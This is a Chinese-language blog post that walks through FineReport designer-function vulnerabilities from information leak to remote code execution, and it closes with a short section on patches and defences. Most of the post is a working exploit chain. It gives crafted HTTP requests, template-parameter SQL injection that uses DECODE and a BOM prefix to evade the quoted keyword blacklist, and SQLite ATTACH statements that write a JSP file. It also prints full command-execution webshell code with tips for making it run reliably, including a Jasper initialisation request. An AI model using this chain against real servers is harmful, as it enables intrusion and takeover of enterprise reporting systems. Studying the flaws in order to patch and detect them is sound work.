1. 从帆软报表设计器函数到RCE漏洞的起点大家好我是老张在数据分析和企业报表这块摸爬滚打了十几年帆软报表FineReport可以说是国内企业级报表工具的“老大哥”了很多公司的核心数据看板都靠它撑着。但越是核心的工具一旦出问题后果也越严重。最近安全圈里讨论得比较多的就是帆软报表设计器里几个函数相关的安全漏洞攻击者能利用这些漏洞从简单的数据查询一路干到在服务器上执行任意命令RCE甚至写入Webshell。听起来挺吓人的对吧今天我就结合自己的理解和一些公开的技术分析带大家把这几个漏洞的来龙去脉、利用条件和实战中的“坑”捋清楚希望能给负责相关系统安全的同学提个醒。简单来说这几个漏洞的核心都指向了帆软报表引擎对“设计器函数”的处理逻辑。什么是设计器函数你可以把它理解成报表里的“高级公式”比如在单元格里写SUM(A1:A10)是基础而设计器函数功能更强大能执行数据库查询、调用Java方法等。问题就出在攻击者可以通过构造特殊的HTTP请求将恶意的“函数表达式”传递给报表引擎而引擎在解析和执行这些表达式时缺乏足够的安全校验最终导致了代码执行。官方其实已经发布了安全公告并修复了但了解其原理对于防御同类问题、排查历史风险至关重要。咱们先从一个相对直接的漏洞说起。1.1 evaluate_formula接口的“任意函数执行”第一个漏洞出现在/webroot/ReportServer这个接口上具体是opfr_basecmdevaluate_formula这个功能。它的本意是让前端能动态计算一些公式方便预览。攻击者可以提交一个expression参数里面包含设计器函数的调用。漏洞的关键代码在fine-report-engine-10.0.jar的EvaluateFormulaAction类里。它会获取你传过去的expression参数值然后一路调用到Calculator.eval()方法。这个方法最终会解析并执行你传入的函数表达式。帆软的设计器函数都有一个共同的“祖宗”——AbstractFunction抽象类。我们常用的SQL、QUERY、JVM等函数都是它的子类。当引擎执行evalExpression()时实际上就是调用了对应函数子类的run()方法。网上最早流传的PoC概念验证代码利用的是JVM函数。我们看看它的run()方法干了啥return Jar build time: var2 \nHome: System.getProperty(java.home) \nVersion: System.getProperty(java.version) \nUser home: ProductConstants.getEnvHome() \nEnv path : FRContext.getCurrentEnv().getPath();你看它直接返回了一系列JVM环境信息包括Java主目录、版本、用户主目录等。这虽然不算直接的RCE但已经造成了敏感信息泄露攻击者可以借此探测服务器环境为后续攻击做准备。一个简单的攻击请求可能长这样POST /webroot/ReportServer HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded opfr_basecmdevaluate_formulaexpressionJVM()服务器可能就会返回包含java.home等信息的响应。这相当于给攻击者开了第一道窥探的窗口。但信息泄露毕竟不如直接执行命令“刺激”于是研究人员把目光投向了另一个更强大的函数QUERY。1.2 QUERY函数与J2V8/Nashorn引擎的“博弈”在帆软10.0可能某些较新的小版本中引入了一个叫QUERY的设计器函数。这个函数的设计初衷是执行一些数据查询或脚本运算它的代码实现里有一个关键的分支判断if (J2V8Utils.SUPPORT_J2V8) { // 使用 com.eclipsesource.v8 引擎执行 } else { // 使用 Nashorn 引擎执行 }这里的Nashorn是Java 8内置的JavaScript引擎而J2V8是一个基于V8的高性能外部引擎。问题就出在Nashorn引擎上。在Java中通过Nashorn引擎执行JavaScript可以调用java.lang.Runtime这样的Java类从而实现执行系统命令。经典的利用方式是这样的expressionQUERY(hello, function(){java.lang.Runtime.getRuntime().exec(calc.exe)})如果这个表达式被Nashorn引擎执行那么calc.exe计算器程序就会被运行这证明了RCE的可能性。但是现实很骨感。在实际测试中绝大多数部署环境都会进入第一个分支即使用J2V8引擎。J2V8引擎相对封闭不容易直接执行恶意Java代码。那么什么情况下才会“退化”到使用不安全的Nashorn引擎呢这就要看官方文档的说明了。文档提到在Linux环境下且JDK版本低于1.8时需要加载一个叫libj2v8_linux_x86_64.so的本地库。这个库依赖特定版本的GCC编译器。如果系统GCC版本过低就会报错J2V8 is not supported. Please update GCC。在这种情况下引擎就会回退到使用Nashorn。所以利用QUERY函数实现RCE的条件非常苛刻帆软版本需在10.0以上且包含此函数。部署操作系统必须是Linux。系统GCC版本必须过低导致J2V8不支持。攻击者能够访问到evaluate_formula接口。由于条件限制多这个漏洞的实战价值相对较低但它清晰地揭示了帆软函数执行引擎的潜在风险模式用户可控的输入最终流向了具备强大能力的脚本执行环境。这个模式在下一个漏洞中被利用得更加淋漓尽致。2. SQL注入的“骚操作”从数据库查询到文件写入如果说evaluate_formula的利用像“直球攻击”条件苛刻那么接下来这个漏洞就堪称“迂回大师”利用链巧妙得多也实用得多。这个漏洞出现在/decision/view/ReportServer这个路径下影响版本可能涉及11.0。2.1 漏洞入口被忽略的模板渲染漏洞的根源在fine-report-engine-11.0.jar的ReportRequestCompatibleService类中。在preview方法里代码会对传入的请求参数进行TemplateUtils.render渲染。这步渲染操作是干嘛的呢简单说帆软报表支持在URL参数里使用${...}这种表达式语法报表引擎会动态计算这些表达式的值。比如你访问...?name${Hello}引擎可能会把${Hello}替换成字符串Hello。攻击者发现这里对参数值的渲染同样会调用Calculator.eval()方法和前面提到的evaluate_formula后续流程一模一样这意味着我们可以在URL参数里直接嵌入设计器函数调用。但是这里有一个关键限制TemplateUtils.render处理的是request.getQueryString()也就是URL中间号?后面的那部分字符串。这意味着攻击必须通过GET请求进行POST请求的Body内容在这里是获取不到的。2.2 巧用DECODE函数绕过编码障碍既然要在URL里传参我们自然会想到用SQL函数。官方文档里SQL函数的用法是SQL(connectionName, sql, columnIndex, rowIndex)用于从指定数据连接中执行SQL语句并取回数据。我们首先需要知道一个可用的数据库连接名connectionName。通过搜索代码或测试发现内置的演示连接FRDemo经常存在。于是一个初步的攻击尝试可能是GET /webroot/decision/view/ReportServer?test${sql(FRDemo,select 1,1,1)}但直接发送这样的请求很可能会收到400 Bad Request。为什么呢因为Tomcat等Web服务器默认会对URL中的一些特殊字符如空格、引号进行严格校验认为其不合法。那我们把它URL编码一下呢把空格换成%20test${sql(FRDemo,select%201,1,1)}这样请求能发过去了但你会发现SQL执行报错了错误信息大概是near %: syntax error。原因是getQueryString()方法拿到的是编码后的字符串select%201而这个字符串直接作为SQL语句交给了数据库比如SQLite数据库不认识%20它只认识空格。这时候帆软设计器函数库里的另一个函数——DECODE——派上了用场。DECODE函数可以用来进行URL解码。我们可以把编码后的SQL语句用DECODE包起来test${sql(FRDemo, DECODE(select%201),1,1)}这样DECODE(select%201)会先被计算得到字符串select 1然后再作为sql函数的第二个参数传入SQL语句就正确了。这个绕过技巧是整个利用链中的第一个关键点。2.3 利用SQLite特性向Web目录写文件帆软默认内置的FRDemo数据库是SQLite。SQLite是一个文件型数据库每个.db文件就是一个数据库。它有一个特性可以通过ATTACH DATABASE语句将一个外部的文件比如一个.jsp文件作为一个数据库来“附加”和操作。攻击者的思路由此产生能否利用SQLite的ATTACH语句在Web应用的目录下比如webapps/webroot/创建一个JSP文件并将恶意代码写入这个文件答案是肯定的。基本步骤如下附加数据库创建文件ATTACH DATABASE ../webapps/webroot/hack.jsp AS hack;这行语句会在webapps/webroot/目录下创建一个名为hack.jsp的文件并将其作为一个名为hack的数据库附加到当前连接。在附加的数据库中创建表CREATE TABLE hack.exp (data TEXT);在hack这个“数据库”即hack.jsp文件里创建一个叫exp的表表中有一个data字段。向表中插入数据写入恶意内容INSERT INTO hack.exp (data) VALUES (x3c252e2e2e);这里x3c252e2e2e是十六进制表示法x里的内容是字节的十六进制值。我们可以把我们的一句话木马JSP代码转换成十六进制字符串放在这里。当这条语句执行时这些十六进制数据就会被写入hack.jsp文件对应的位置。如果这三步SQL都能成功执行那么一个Webshell文件hack.jsp就被写入到了Web可访问目录。攻击者接下来只需要访问这个JSP文件就能执行任意命令了。3. 攻防对抗黑名单的绕过艺术当然帆软的开发人员也不是完全没有设防。他们对SQL执行做了两层安全过滤这直接导致了上面“完美”的攻击脚本无法直接运行。3.1 黑名单检测与字符替换第一层过滤是一个叫removeSpecialCharacters()的方法。它做了两件事检查SQL是否为空。将SQL字符串转为小写后把单引号、双引号以及注释--和/* */中的内容全部替换成空格。这招挺狠目的是消除通过注释和字符串拼接来混淆SQL语句的可能。将一些特殊分隔符如逗号,、换行符\n、分号;、制表符等也替换为空格。第二层过滤是一个check()方法这就是典型的黑名单机制。它会检查处理后的SQL字符串中是否包含一系列危险关键词比如attach, create, delete, drop, exec, insert, merge, replace, truncate, update, alter, commit, crawl, vacuum, copy, ...如果包含就直接抛出SQLException阻止执行。黑名单的匹配逻辑是这样的它会在每个关键词的前后都加上空格然后在处理后的SQL字符串里搜索。例如它会搜索 attach 前后各有一个空格。这意味着如果你的SQL是ATTACH aaa经过removeSpecialCharacters()处理引号内内容被清空后变成了ATTACH 。这时字符串末尾只有一个空格开头没有空格与 attach 无法完全匹配理论上能绕过不它的匹配逻辑是probed字符串中关键字前后空格数大于等于1就算匹配成功。所以ATTACH 关键字前无空格后有一个空格仍然会被匹配到。3.2 UFEFF一个神奇的“隐形”字符那么如何让ATTACH这个词前面“有东西”但又不会影响SQLite的正常解析呢安全研究人员找到了一个绝妙的字符UFEFF。UFEFF 有个大名鼎鼎的别名叫字节顺序标记Byte Order Mark, BOM。在UTF-16或UTF-8编码的文本文件开头有时会用它来标识字节序。关键在于SQLite引擎在解析SQL语句时如果遇到开头的BOM会将其识别并移除然后再进行真正的语法解析。而在黑名单检查的probed阶段这个BOM字符是存在的。当我们在SQL语句最前面加上BOM其UTF-8编码是%EF%BB%BF那么经过处理的probed字符串会变成类似 %ef%bb%bfattach 的样子。此时attach前面是%ef%bb%bf这三个字符和一个空格不再是单纯的空格开头。黑名单检查寻找的是 attach 因此匹配失败绕过了检测当这个带有BOM的SQL语句最终交给SQLite执行时SQLite会友好地把开头的BOM去掉于是ATTACH语句就能被正确解析和执行了。这个绕过技巧堪称优雅它利用了不同处理层应用层黑名单 vs 数据库解析器对同一字符的不同处理方式。3.3 构造完整的攻击Payload结合以上所有技巧一个完整的、用于写入Webshell的Payload构造过程如下准备恶意JSP代码我们需要一个能执行命令的JSP文件内容。注意直接写复杂的JSP可能会因为换行符、缺少导入包等问题导致文件生成后无法执行。一个经过精简、确保无误的示例如下注意删除所有换行并导入必要包% page importjava.io.InputStream, java.io.InputStreamReader, java.io.BufferedReader %% Process p Runtime.getRuntime().exec(request.getParameter(cmd)); InputStream in p.getInputStream(); BufferedReader br new BufferedReader(new InputStreamReader(in)); String line; while ((line br.readLine()) ! null) { out.println(line); } %将JSP代码转换为十六进制将上述字符串不含换行转换成十六进制表示。可以使用在线工具或编程语言如Python的binascii.hexlify完成。得到一长串十六进制字符如3c2540...253e。构造三条核心SQL语句每条语句前加上BOM%EF%BB%BF并对特殊字符进行URL编码创建文件%EF%BB%BFATTACH DATABASE ../webapps/webroot/shell.jsp AS hack;创建表%EF%BB%BFCREATE TABLE hack.exp(data TEXT);写入数据%EF%BB%BFINSERT INTO hack.exp(data) VALUES (x3c2540...253e);将这三条语句分别进行URL编码。组合成最终的攻击URL利用DECODE函数解码编码后的SQL并嵌套在sql函数中通过GET参数传递。GET /webroot/decision/view/ReportServer?test${sql(FRDemo,DECODE(%EF%BB%BFATTACH%20...%3B),1,1)}${sql(FRDemo,DECODE(%EF%BB%BFCREATE%20...%3B),1,1)}${sql(FRDemo,DECODE(%EF%BB%BFINSERT%20...%3B),1,1)}当这个GET请求发送到目标服务器时帆软报表引擎会解析test参数中的多个${...}表达式依次执行三条SQL语句最终在Web根目录下生成一个包含恶意代码的shell.jsp文件。4. 实战利用的“最后一公里”JSP引擎初始化与木马优化文件写进去了是不是就大功告成了别急实战中还有两个常见的“坑”需要跨过去。4.1 Jasper引擎未初始化导致的500错误当你兴冲冲地去访问刚生成的shell.jsp时可能会遇到一个令人沮丧的500错误错误信息可能指向org.apache.jasper.JasperException或java.lang.NullPointerException发生在JspFactory.getDefaultFactory()为null的时候。这是因为Tomcat的JSP编译引擎Jasper并没有被初始化。在标准的Web应用启动过程中Tomcat会初始化JasperInitializer来设置JSP运行环境。但帆软的某些启动方式或接口调用路径可能绕过了这个初始化过程导致JSP文件无法被正确编译和执行。解决办法是在写入Webshell之后、访问它之前需要手动触发一次Jasper引擎的初始化。巧的是帆软提供了一个前台接口/webroot/decision/file其getFile方法中当type参数为class时会对path参数执行Class.forName()操作。所以我们可以发送这样一个请求GET /webroot/decision/file?pathorg.apache.jasper.servlet.JasperInitializertypeclass这个请求会加载JasperInitializer类从而执行其静态代码块完成JSP引擎的初始化。之后再访问你的Webshell应该就不会再报JspFactory相关的空指针错误了。4.2 JSP木马编写的注意事项即使Jasper初始化了你的Webshell可能仍然无法执行会报一些语法错误比如Syntax error on token 或者InputStream cannot be resolved to a type。这通常是因为写入文件时格式和内容不够“干净”。换行符问题在将JSP代码转换成十六进制时如果原始代码包含换行符这些换行符会被编码并写入文件。有时这些不可见字符会导致JSP编译器解析出错。最稳妥的办法是在转换前将JSP代码中的所有换行符都删除确保代码在一行内。缺少类导入在JSP中直接使用InputStream、BufferedReader等类如果没有在页面开头通过% page import... %指令导入编译器会找不到这些类。务必在JSP代码开头导入所有需要用到的Java类。十六进制转换准确性确保你的转换工具正确无误没有引入额外字符。最好使用脚本进行转换并验证。一个经过优化、更健壮的一句话木马模板如下已删除换行% page importjava.io.InputStream,java.io.InputStreamReader,java.io.BufferedReader%%String cmdrequest.getParameter(cmd);if(cmd!null){Process pRuntime.getRuntime().exec(cmd);InputStream inp.getInputStream();BufferedReader brnew BufferedReader(new InputStreamReader(in));String line;while((linebr.readLine())!null){out.println(line);}}%将其转换为十六进制后用于构造最终的INSERT语句成功率会高很多。5. 漏洞修复与防御建议聊了这么多攻击手法最后我们来看看官方是如何修复的以及作为防御方我们应该怎么做。5.1 官方修复方案分析根据官方补丁和后续版本更新修复的核心思路非常直接在漏洞触发点取消对用户传入参数的模板渲染。具体到/decision/view/ReportServer这个接口的preview方法修复后的代码不再调用TemplateUtils.render()来处理getQueryString()。也就是说URL参数中的${...}表达式将被视为普通字符串而不会被解析和执行。这从根本上切断了攻击者通过参数注入设计器函数的途径。对于/webroot/ReportServer的evaluate_formula接口同样加强了输入校验和函数执行的白名单控制限制可执行函数的范围。5.2 给管理员和开发者的防御建议如果你的环境中还在使用受影响的旧版本帆软报表除了尽快升级到官方已修复的安全版本外还可以采取以下措施进行加固网络层访问控制严格限制访问报表服务器FineReport的IP地址。非必要的管理接口如/webroot/decision/view/ReportServer,/webroot/ReportServer不应暴露在公网。可以通过防火墙、安全组或Web服务器如Nginx的配置只允许可信的IP段或内网地址访问。应用层权限收紧检查并禁用不必要的报表功能。例如如果不是绝对需要可以尝试在配置中关闭设计器函数的远程调用能力或者对能够执行动态表达式的接口进行额外的身份验证和授权校验。输入验证与过滤在WAFWeb应用防火墙或应用自身加强对用户输入的验证。虽然漏洞利用的Payload经过多次编码和变形但一些特征仍然可以捕捉例如大量的${、sql(、DECODE(组合或者URL中异常长的参数值。可以配置相应的安全规则进行拦截。文件系统监控对Web应用的根目录如webapps/webroot/进行文件变更监控。如果发现突然新增了.jsp、.jspx等可执行脚本文件应立即告警并排查。最小权限原则运行帆软报表服务的操作系统用户应遵循最小权限原则。避免使用root或高权限账户运行限制其文件系统写入权限特别是对Web根目录的写入权限。代码安全审计对于深度定制的帆软报表环境建议对自定义函数、插件进行安全审计确保没有引入类似的不安全代码执行模式。从我这些年接触各类报表和BI工具的经验来看这类漏洞的出现并非偶然。报表工具为了追求灵活性和强大的计算能力往往会内置或开放脚本执行环境。如何在“功能强大”和“安全可控”之间找到平衡是这类产品永恒的主题。对于使用者而言保持软件更新、遵循安全最佳实践、对核心业务系统进行定期安全评估是构筑有效防线的关键。安全从来不是一劳永逸的事情它是一场持续的攻防对抗了解攻击者的思路才能更好地守护自己的阵地。